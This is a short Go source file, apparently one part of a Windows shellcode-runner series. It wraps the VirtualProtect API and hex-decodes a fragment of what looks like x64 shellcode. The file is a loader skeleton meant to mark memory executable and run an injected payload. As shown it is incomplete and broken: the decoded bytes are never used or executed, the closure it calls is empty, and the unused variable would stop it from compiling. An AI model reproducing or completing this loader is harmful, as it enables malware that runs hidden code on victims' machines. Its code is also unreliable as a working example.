shellcode_win_part2.go

package main

import (
	"encoding/hex"
	"fmt"
	"syscall"
	"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func main() {

  sc, err := hex.DecodeString("fc4883e4f0e8c000000041")
  if err != nil {
		fmt.Println(err)
	}

	f := func() {}

	f()
}